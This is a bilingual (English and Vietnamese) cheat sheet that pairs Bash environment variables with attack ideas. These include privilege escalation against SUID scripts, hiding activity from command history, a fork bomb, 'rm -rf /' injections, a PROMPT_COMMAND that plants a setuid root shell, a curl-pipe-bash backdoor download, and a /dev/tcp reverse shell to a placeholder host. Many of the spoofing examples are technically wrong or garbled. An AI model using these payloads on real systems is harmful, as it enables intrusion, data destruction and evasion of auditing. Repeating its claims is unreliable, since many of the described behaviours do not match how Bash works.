Reference - Bash Variables

 Bash Variables

_ $_, an underscore

echo $_
echo "echo 'Intercepted!'" > _
chmod +x _
$_ ls

BASH

echo "/bin/sh -p" > /tmp/bash
export PATH=/tmp:$PATH
echo "Running as $BASH"

BASHOPTS

echo $BASHOPTS
BASHOPTS=restricted_shell /bin/bash
echo $BASHOPTS

BASHPID

#!/bin/bash
echo "Current user: $(whoami)"
echo "Current process ID: $$"
echo "BASHPID: $BASHPID"
if [ $BASHPID -eq $$ ]; then
    echo "Hello world" >> /etc/system_file
else
    echo "exit"
    exit 1
fi

BASH_ALIASES

export BASH_ALIASES='alias ll="ls -al"'
source ~/.bashrc
ll

BASH_ARGC

if [ $BASH_ARGC -eq 1 ]; then
  # make backup
fi

BASH_ARGC=1
/usr/local/bin/backup.sh
BASH_ARGV
FILE=${BASH_ARGV[1]}
cp /backup/$FILE /home/user/

BASH_ARGV[0]="restore.sh"
BASH_ARGV[1]="/etc/shadow"
/usr/local/bin/restore.sh
BASH_ARGV0
if [ "$BASH_ARGV0" == "/etc/init.d/xxxx" ]; then
   # restart services
fi

BASH_ARGV0="/etc/init.d/xxxx" 
/usr/local/bin/restart.sh
BASH_CMDS
if [[ "${BASH_CMDS[0]}" == "sudo" ]]; then
  # make backup
fi

BASH_CMDS[0]="sudo"
/usr/local/bin/logbackup.sh
BASH_COMMAND
if [ "$BASH_COMMAND" = "systemctl restart server" ]; then 
   # restart server
fi

export BASH_COMMAND='systemctl restart server'
/usr/local/bin/restart-server.sh
BASH_COMPAT
[ -n "$BASH_VERSINFO" ] || {
  # legacy Bash command
}

unset BASH_VERSINFO
export BASH_COMPAT=3.2
/path/to/suid-script
BASH_ENV
/bin/bash -p 
mv /tmp/rootkit /usr/local/sbin
export BASH_ENV=/home/user/.bashrc
BASH_EXECUTION_STRING
if [[ "$BASH_EXECUTION_STRING" == *"systemctl start"* ]]; then
  # start app
fi

export BASH_EXECUTION_STRING="systemctl start myapp"
/usr/local/bin/startapp.sh
BASH_LINENO
if [ "$BASH_LINENO" -lt 10 ]; then
  # delete some temp files
fi

BASH_LINENO=5
/usr/local/bin/cleanup.sh
BASH_LOADABLES_PATH
export BASH_LOADABLES_PATH=/tmp
BASH_REMATCH
if [[ $INPUT =~ ^[a-zA-Z0-9]+$ ]]; then
  use_as_filename ${BASH_REMATCH[0]} 
fi

BASH_REMATCH[0]=";sudo rm -rf /"
validator.sh
BASH_SOURCE
if [ "$BASH_SOURCE" == "/etc/init.d/startscript" ]; then
   # execute trusted commands
fi

export BASH_SOURCE=/etc/init.d/startscript 
/usr/local/bin/execute.sh
BASH_SUBSHELL
if ! [ "$BASH_SUBSHELL" ]; then
   # run dangerous delete commands
fi

BASH_SUBSHELL=0
/usr/local/bin/cleanup.sh
BASH_VERSINFO
if [ ${BASH_VERSINFO[0]} -lt 4 ]; then
  # restore files
fi

BASH_VERSINFO[0]=3
/usr/local/bin/restore.sh
BASH_VERSINFO
BASH_VERSINFO[0]
The major version number (the release).
BASH_VERSINFO[1]
The minor version number (the version).
BASH_VERSINFO[2]
The patch level.
BASH_VERSINFO[3]
The build version.
BASH_VERSINFO[4]
The release status (e.g., beta1).
BASH_VERSINFO[5]
The value of MACHTYPE.
if [ ${BASH_VERSINFO[0]} -lt 4 ]; then
  # restore files
fi

BASH_VERSINFO[0]=3
/usr/local/bin/restore.sh

BASH_XTRACEFD
export BASH_XTRACEFD=>/tmp/evilfile
/usr/local/bin/debug.sh
CHILD_MAX : fork bomb
export CHILD_MAX=1000000
:(){ :|:& };:
COLUMNS
pr -${COLUMNS} /etc/shadow

export COLUMNS=9999
/path/to/suid-script
COMP_CWORD
DIR=${COMP_WORDS[$COMP_CWORD]} 
tar czf /backups/$DIR.tgz $DIR

COMP_CWORD=0
/usr/local/bin/backup.sh /etc
COMP_LINE
SUID có tên /usr/local/bin/logutils.sh
if [ "$COMP_LINE" == "authlog" ]; then
  cat /var/log/auth.log
fi
export COMP_LINE=";sudo rm -rf /"
/usr/local/bin/logutils.sh
COMP_POINT
SUID có tên /usr/local/bin/validate.sh

if [ $COMP_POINT -gt 10 ]; then
  echo "Invalid input"
  exit
fi

COMP_POINT=5
/usr/local/bin/validate.sh ";sudo rm -rf /"
COMP_TYPE
SUID có tên /usr/local/bin/authmanage.sh
if [ $COMP_TYPE = "583" ]; then
  # add new user
fi

COMP_TYPE=583
/usr/local/bin/authmanage.sh
COMP_WORDBREAKS
SUID có tên /usr/bin/calculator

COMP_WORDBREAKS="" /usr/bin/calculator 1;sudo rm -rf / 2
COMP_WORDS
SUID có tên /usr/bin/fileinfo

COMP_WORDS=( "" "somefile" /tmp/exploit.txt )
/usr/bin/fileinfo /tmp/exploit.txt
ENV
sudo -l
LD_PRELOAD và LD_LIBRARY_PATH
EPOCHREALTIME
SUID có tên /usr/local/bin/backup.sh

modified_since=$((EPOCHREALTIME - 3600))
find /home -mtime -$modified_since -exec cp {} /backup \;

EPOCHREALTIME=0
/usr/local/bin/backup.sh
EPOCHSECONDS
SUID có tên /usr/local/bin/maintenance.sh

now=$EPOCHSECONDS 
before=$((now - 86400))
find /var/log -type f -mtime +$before -delete


EPOCHSECONDS=0
/usr/local/bin/maintenance.sh

 EPOCHSECONDS về 0 sẽ khiến tập lệnh tính toán sai và xóa tất cả các file log
EUID
 SUID có tên /usr/local/bin/backup.sh

if [ $EUID -eq 0 ]; then  
  tar -czf /root/backups.tar.gz /etc /root
fi

EUID=0
/usr/local/bin/backup.sh

 EUID = 0 sẽ khiến backup.sh nghĩ rằng nó đang chạy với quyền root
EXECIGNORE
Tạo một symlink tên "ls" trỏ tới /bin/bash, Kỹ thuật PATH injection do không kiểm soát biến EXECIGNORE

ln -fs /bin/bash ls

Ghi đè EXECIGNORE bằng "ls"
EXECIGNORE=ls
FCEDIT
/bin/bash -p # spawn a shell as root
ghi đè FCEDIT
export FCEDIT=/home/user/fcedit
FIGNORE
SUID có tên /usr/local/bin/cleanup.sh

rm /tmp/*
Xóa các tệp có phần mở rộng .tmp trong /tmp
FIGNORE=".logs"
Bỏ qua các tệp có phần mở rộng .logs do FIGNORE được đặt là ".logs"
FIGNORE=".sh" 
/usr/local/bin/cleanup.sh
Bỏ qua các tệp có phần mở rộng .sh do FIGNORE được đặt là ".sh"
FUNCNAME
SUID có tên /usr/local/bin/app.sh

sensitive_func(){
  if [ "$FUNCNAME" != "sensitive_func" ]; then
    exit
  fi
  
  # sensitive
}

FUNCNAME=sensitive_func
/usr/local/bin/app.sh

FUNCNEST
SUID có tên /usr/local/bin/admin.sh

if [ "$FUNCNEST" -eq 1 ]; then
  # admin commands  
fi

FUNCNEST=1
/usr/local/bin/admin.sh
GLOBIGNORE

SUID có tên /usr/local/bin/clean.sh
rm /tmp/*.tmp

Bỏ qua các thư mục do GLOBIGNORE được đặt là */
GLOBIGNORE=*/
Tạo một thư mục có tên /tmp/exploit và đặt GLOBIGNORE thành */exploit
GLOBIGNORE=*/exploit
clean.sh sẽ bỏ qua thư mục /tmp/exploit và không xóa
GROUPS

GROUPS=root
/path/to/suid-script
histchars

histchars=;
export HISTFILE=/home/user/.bash_history
/path/to/suid-script
Thiết lập histchars về ';' sẽ disable tính năng mở rộng lịch sử lệnh '!' ->  inject vào $HISTFILE
HISTCMD

SUID có tên /usr/local/bin/logview

HISTCMD=1000
/usr/local/bin/logview

HISTCMD là 1000 sẽ khiến logview tin rằng lệnh gần nhất là thứ 1000 trong lịch sử
Chèn các lệnh vào lịch sử ở vị trí 1000

logview đọc HISTCMD, thực thi các lệnh với quyền của tập lệnh SUID

HISTCONTROL

HISTCONTROL kiểm soát lịch sử lệnh được lưu trữ trong Bash
Đặt HISTCONTROL=ignoredups:ignorespace, Bash sẽ bỏ qua các dòng trùng lặp và các dòng chỉ chứa khoảng trắng trong lịch sử lệnh.

export HISTCONTROL=ignorespace
ls
<space><space>
chèn một dòng chỉ có khoảng trắng
!<space>command<space> 
history 
Không hiển thị dòng command
!<space>
gọi lại !<space> để thực thi
HISTFILESIZE
HISTFILESIZE quy định kích thước tệp lịch sử lệnh .bash_history. Mặc định nó là 500 dòng.
Đặt giá trị HISTFILESIZE quá nhỏ, chẳng hạn 0, lịch sử lệnh sẽ không được ghi lại khi logout

export HISTFILESIZE=0

rm -rf / 

logout

Không để lại dấu vết
HISTIGNORE

HISTIGNORE bỏ qua và không lưu vào lịch sử

export HISTIGNORE='ls:pwd:id:*'
id
ls /etc 
pwd
rm -rf /

history

HISTSIZE

HISTSIZE quy định số lượng dòng lệnh tối đa được lưu trữ trong bộ nhớ đệm lịch sử lệnh của Bash
HISTSIZE bằng 0, lịch sử lệnh sẽ không được lưu trữ trong bộ nhớ đệm
export HISTSIZE=0
id
ls /etc
history

HISTTIMEFORMAT

HISTTIMEFORMAT quy định định dạng thời gian được hiển thị trong output của lệnh history
HISTTIMEFORMAT thành một chuỗi trống, thời gian thực hiện lệnh sẽ không được hiển thị
export HISTTIMEFORMAT=

id
ls /etc

history 

IGNOREEOF

IGNOREEOF quy định số lần nhấn Ctrl+D liên tiếp để thoát khỏi shell. Mặc định là 10
Đặt IGNOREEOF thành một giá trị lớn 99999,  khỏi shell bằng Ctrl+D sẽ trở nên khó khăn hơn
Giữ một phiên truy cập hoạt động lâu hơn, ngay cả khi  đã cố gắng đăng xuất

export IGNOREEOF=99999

INPUTRC

INPUTRC chỉ định tệp cấu hình được tải khi khởi động một phiên bash mới
Tạo một tệp .bashrc  và chỉ định nó thông qua INPUTRC

export INPUTRC=/tmp/evil.bashrc
bash
PROMPT_COMMAND
PROMPT_COMMAND trong Bash cho phép thực thi một lệnh ngay trước khi nhắc lệnh xuất hiện
export PROMPT_COMMAND='cp /bin/bash /tmp/rootbash; chown root /tmp/rootbash; chmod +s /tmp/rootbash'

PROMPT_DIRTRIM
PROMPT_DIRTRIM trong Bash cho phép cắt bớt một phần đường dẫn thư mục hiện tại được hiển thị trong nhắc lệnh
PROMPT_DIRTRIM thành một giá trị lớn, ví dụ 100, để cắt bỏ phần lớn đường dẫn

export PROMPT_DIRTRIM=100
chỉ hiển thị thư mục hiện tại mà không có đường dẫn
[user@host tmp]$ cd /var/www/html
[user@host html]$

PS0
PS0 là một biến Bash dùng để tùy chỉnh nhắc lệnh trong Bash shell.
PS0 để che giấu hoạt động và hiển thị trước mỗi lệnh người dùng nhập vào
export PS0='> ' => sẽ chỉ là '> ' thay vì bao gồm thông tin người dùng, máy chủ, thư mục hiện tại.

> id
> sudo rm -rf /

PS3
PS3 là một biến Bash dùng để đặt nhắc lệnh cho câu lệnh select trong Bash script

PS3="input: " => PS3="input: ;curl http://xxx.x/backdoor.sh|bash"
PS4
PS4 là một biến trong Bash dùng để định dạng nhắc lệnh khi chạy Bash script ở chế độ debug
PS4 thường được đặt thành một chuỗi để debug như "+ " hay "DEBUG: "
PS4='DEBUG: ;/bin/bash -i >& /dev/tcp/xxx.xxx.xxx/8080 0>&1'

SHELL
Biến SHELL trong Bash chứa đường dẫn tới shell đang được sử dụng
SHELL=/bin/bash => SHELL=/tmp/evilbash
SHELLOPTS
SHELLOPTS là một biến môi trường trong Bash dùng để kiểm soát các tùy chọn và hành vi của shell
SHELLOPTS được đặt là "braceexpand:hashall:histexpand:monitor:history:interactive-comments:emacs" => edit: export SHELLOPTS="braceexpand:hashall:histexpand:monitor:history"
SHLVL

SHLVL là một biến môi trường trong Bash dùng để theo dõi nesting level của các shell
SHLVL được tăng lên 1 mỗi khi một shell mới được khởi động 
-> SHLVL=1 -> khởi động sẽ là SHLVL=2 -> SHLVL thành một giá trị âm : -1 
-> Nếu so sánh  SHLVL với 0 -> SHLVL=-1 thí nhầm tưởng shell gốc
TMOUT

TMOUT là một biến môi trường trong Bash để giới hạn thời gian phiên làm việc trước khi người dùng tự động đăng xuất khỏi shell
TMOUT được đặt là 10 phút. Khi hết thời gian này mà không có hoạt động, người dùng sẽ bị đăng xuất khỏi shell.
Tắt chức năng này bằng cách đặt TMOUT thành 0 hoặc một giá trị rất lớn
TMOUT=0 or TMOUT=999999 => session truy cập sẽ không bị đóng 
TMPDIR

TMPDIR là một biến môi trường trong Bash chỉ định thư mục tạm cho các file tạm thời
export TMPDIR=/home/user/tmp
UID

UID là một biến môi trường trong Bash chứa ID người dùng hiện tại
export UID=0



Nhãn: